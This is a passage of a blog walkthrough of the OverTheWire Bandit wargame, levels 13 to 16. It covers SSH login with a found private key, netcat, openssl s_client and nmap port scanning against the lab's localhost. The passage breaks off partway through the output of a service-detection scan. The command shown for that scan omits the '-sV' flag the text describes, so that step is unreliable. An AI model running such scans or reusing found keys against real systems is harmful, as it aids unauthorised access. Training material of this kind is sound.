&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;telnet.1posix.html&quot;&gt;telnet&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;communicate with another host using the TELNET protocol&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;nc.1.html&quot;&gt;nc&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;the swiss army knife for communicating over the network using TCP, UDP, or Unix-domain sockets&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;openssl.1.html&quot;&gt;openssl&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a program for using various cryptography functions of the OpenSSL crypto library from the shell&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;openssl-s_client.1.html&quot;&gt;s_client&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a program implementing a generic SSL&#x2F;TLS client&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;nmap.1.html&quot;&gt;nmap&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a network scanner for network exploration and security auditing&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Each program is worth exploring, but for this challenge we’ll only need &lt;code&gt;ssh&lt;&#x2F;code&gt;. However, it won’t be used quite the same as before. This time an SSH private key is required to login to the next level.&lt;&#x2F;p&gt;
&lt;p&gt;After logging in to &lt;code&gt;bandit13&lt;&#x2F;code&gt;, you should find the private SSH key mentioned in the prompt at &lt;code&gt;&#x2F;home&#x2F;bandit13&#x2F;sshkey.private&lt;&#x2F;code&gt;. Copy that file to your primary host. You can simply copy paste the text if you wish, or use something like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;en&#x2F;man1&#x2F;scp.1.html&quot;&gt;scp&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;Watch out! The &lt;code&gt;ssh&lt;&#x2F;code&gt; command requires private key files to have appropriate permissions. If they aren’t correct you may receive an error message like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Permissions 0644 for &amp;#39;sshkey.private&amp;#39; are too open.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;It is required that your private key files are NOT accessible by others.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;This private key will be ignored.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Load key &amp;quot;sshkey.private&amp;quot;: bad permissions&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;A brief reminder of the octal permissions.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Octal Number&lt;&#x2F;th&gt;&lt;th&gt;Permission Type&lt;&#x2F;th&gt;&lt;th&gt;Symbols&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;No permissions&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;Execute&lt;&#x2F;td&gt;&lt;td&gt;–x&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;Write&lt;&#x2F;td&gt;&lt;td&gt;-w-&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;Write + Execute&lt;&#x2F;td&gt;&lt;td&gt;-wx&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;Read&lt;&#x2F;td&gt;&lt;td&gt;r–&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;Read + Execute&lt;&#x2F;td&gt;&lt;td&gt;r-x&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;Read + Write&lt;&#x2F;td&gt;&lt;td&gt;rw-&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;Read + Write + Execute&lt;&#x2F;td&gt;&lt;td&gt;rwx&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;As the error mentions, the permissions &lt;code&gt;0644&lt;&#x2F;code&gt; are too open. That’s because private key files should only be readable and&#x2F;or writeable by the user they belong to. Usually that means either &lt;code&gt;600&lt;&#x2F;code&gt; or &lt;code&gt;400&lt;&#x2F;code&gt;, though &lt;code&gt;400&lt;&#x2F;code&gt; is a bit strict and won’t allow the file to be edited.&lt;&#x2F;p&gt;
&lt;p&gt;Setting the permissions to &lt;code&gt;600&lt;&#x2F;code&gt; gives the key file read and write access for the user, and no permissions for either the group or others.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 600&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; sshkey.private&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we’re ready to connect to &lt;code&gt;bandit14&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;To use a key file with &lt;code&gt;ssh&lt;&#x2F;code&gt;, the &lt;code&gt;-i&lt;&#x2F;code&gt; flag can be used.&lt;&#x2F;p&gt;
&lt;p&gt;E.g.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; user@host&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; private_key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To connect to &lt;code&gt;bandi14&lt;&#x2F;code&gt; use the following command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; bandit14@bandit.labs.overthewire.org&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 2220&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; sshkey.private&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;SSH is the most common protocol used for remotely administrating Linux and Unix-like systems, and using a key file as we’ve done here is by far the most common way it’s used. It’s not strictly necessary, but I highly recommend reading up on the fundamentals of &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Public-key_cryptography&quot;&gt;public-key cryptography&lt;&#x2F;a&gt;. It’s how SSH guarantees&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; it’s security.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;In the solution above, we just used the &lt;code&gt;-i&lt;&#x2F;code&gt; flag to specify the private key file. However, anyone using &lt;code&gt;ssh&lt;&#x2F;code&gt; on a regular basis will rightly tell you to consider configuring ssh on your system for a much simpler workflow.&lt;&#x2F;p&gt;
&lt;p&gt;If you’re connecting to many hosts via ssh, it is much more convenient to configure the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;en&#x2F;man1&#x2F;ssh-agent.1.html&quot;&gt;ssh-agent&lt;&#x2F;a&gt; to handle your ssh keys automatically so you don’t need to specifiy the key file with the &lt;code&gt;-i&lt;&#x2F;code&gt; flag each time.&lt;&#x2F;p&gt;
&lt;p&gt;You may also want to combine this with host-specific configurations. This can be done with a &lt;code&gt;config&lt;&#x2F;code&gt; file usually at &lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt;. Check out the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;en&#x2F;man5&#x2F;ssh_config.5.html&quot;&gt;ssh_config manual&lt;&#x2F;a&gt; for more details.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-14&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-14&quot; aria-label=&quot;Anchor link for: level-14&quot;&gt;Level 14&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;If you aren’t familiar with IP addresses or ports, I highly encourage you to read the recommended reading material on the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;bandit&#x2F;bandit15.html#helpful-reading-material&quot;&gt;Bandit 14 page&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This time we need to connect to a particular port, but we won’t be using the SSH protocol. Instead we need to send the current password as unencrypted text to port 30000 on localhost. The &lt;code&gt;nc&lt;&#x2F;code&gt; (netcat) utility can do just that.&lt;&#x2F;p&gt;
&lt;p&gt;Netcat establishes a connection with the following syntax:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;nc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;destinatio&lt;&#x2F;span&gt;&lt;span&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;por&lt;&#x2F;span&gt;&lt;span&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;destination&lt;&#x2F;code&gt; can be any domain as long as it resolves to an IP address, or it can take an IP address directly.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;port&lt;&#x2F;code&gt; corresponds to the TCP&#x2F;UDP port.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Now, connect with the parameters given in the prompt.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;netcat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 30000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will establish the connection, but won’t provide a new terminal prompt. That’s because the program you’ve connected to is now awaiting input. Provide the level 14 password and press &lt;code&gt;Enter&lt;&#x2F;code&gt;, and the level 15 password will be returned.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-15&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-15&quot; aria-label=&quot;Anchor link for: level-15&quot;&gt;Level 15&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL&#x2F;TLS encryption.&lt;br&gt;&lt;br&gt;Helpful note: Getting “DONE”, “RENEGOTIATING” or “KEYUPDATE”? Read the “CONNECTED COMMANDS” section in the manpage.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now, we’ve got another challenge asking us to connect to a port on localhost and submit the password, but this time, the password must be encrypted using SSL&#x2F;TLS.&lt;&#x2F;p&gt;
&lt;p&gt;One of the recommended commands is &lt;code&gt;s_client&lt;&#x2F;code&gt; which is a generic SSL&#x2F;TLS&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-2-1&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; client. We’ll need to use a couple flags, &lt;code&gt;-host&lt;&#x2F;code&gt;, and &lt;code&gt;-port&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;openssl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; s_client&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;port&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 30001&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s actually possible to elide the &lt;code&gt;-host&lt;&#x2F;code&gt; flag since &lt;code&gt;s_client&lt;&#x2F;code&gt; connects to &lt;code&gt;localhost&lt;&#x2F;code&gt; by default.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;openssl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; s_client&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;port&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 30001&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By default there, will be a fair amount of output describing the security parameters for the connection such as the certificate and handshake details.&lt;&#x2F;p&gt;
&lt;p&gt;Once the connection is established there should be a line at the bottom &lt;code&gt;read R BLOCK&lt;&#x2F;code&gt;. At this point the terminal is awaiting input. Provide the current password to receive the password for the next level.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read R BLOCK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 15 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Correct!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 16 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;closed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-16&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-16&quot; aria-label=&quot;Anchor link for: level-16&quot;&gt;Level 16&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL&#x2F;TLS and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it. &lt;br&gt;&lt;br&gt;Helpful note: Getting “DONE”, “RENEGOTIATING” or “KEYUPDATE”? Read the “CONNECTED COMMANDS” section in the manpage.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This challenge is almost identical to &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-15&quot;&gt;Level 15&lt;&#x2F;a&gt;. However, this time we are not given the appropriate port. Instead, we’re only given a range of suspect ports. To identify the services running on these TCP&#x2F;UDP ports, we can use the &lt;code&gt;nmap&lt;&#x2F;code&gt; program.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nmap.org&#x2F;docs.html&quot;&gt;Nmap&lt;&#x2F;a&gt; is a network scanning tool which is often used to automatically enumerate devices and ports in a network. In our case, we’re only interested in ports on the Bandit host, or in other words the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Localhost&quot;&gt;localhost&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;To scan all the ports in the given range on &lt;code&gt;localhost&lt;&#x2F;code&gt; we’ll run an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;explainshell.com&#x2F;explain?cmd=nmap+localhost+-p31000-32000&quot;&gt;nmap command&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;p31000-32000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This should return the following:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Starting Nmap 7.94SVN ( https:&#x2F;&#x2F;nmap.org ) at 2025-05-29 20:28 UTC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Nmap scan report for localhost (127.0.0.1)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Host is up (0.00017s latency).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Not shown: 996 closed tcp ports (conn-refused)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PORT      STATE SERVICE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;31046&#x2F;tcp open  unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;31518&#x2F;tcp open  unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;31691&#x2F;tcp open  unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;31790&#x2F;tcp open  unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;31960&#x2F;tcp open  unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This scan results in just a few open ports. Given such a short list, one option is to attempt communication on each port to see which one speaks SSL&#x2F;TLS. However, if there were many more open ports, it would make more sense to automate that detection with &lt;code&gt;nmap&lt;&#x2F;code&gt;. Luckily this is possible with just one flag &lt;code&gt;-sV&lt;&#x2F;code&gt; which can be found under the &lt;code&gt;SERVICE&#x2F;VERSION DETECTION&lt;&#x2F;code&gt; section in the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;nmap&quot;&gt;manpage&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;p31000-32000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This version of the command will take a bit longer since &lt;code&gt;nmap&lt;&#x2F;code&gt; must analyze the traffic on each open port to determine what service may be running. The output should look something like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Starting Nmap 7.94SVN ( https:&#x2F;&#x2F;nmap.org ) at 2025-05-29 21:11 UTC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Nmap scan report for localhost (127.0.0.1)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Host is up (0.00018s latency).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Not shown: 996 closed tcp ports (conn-refused)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
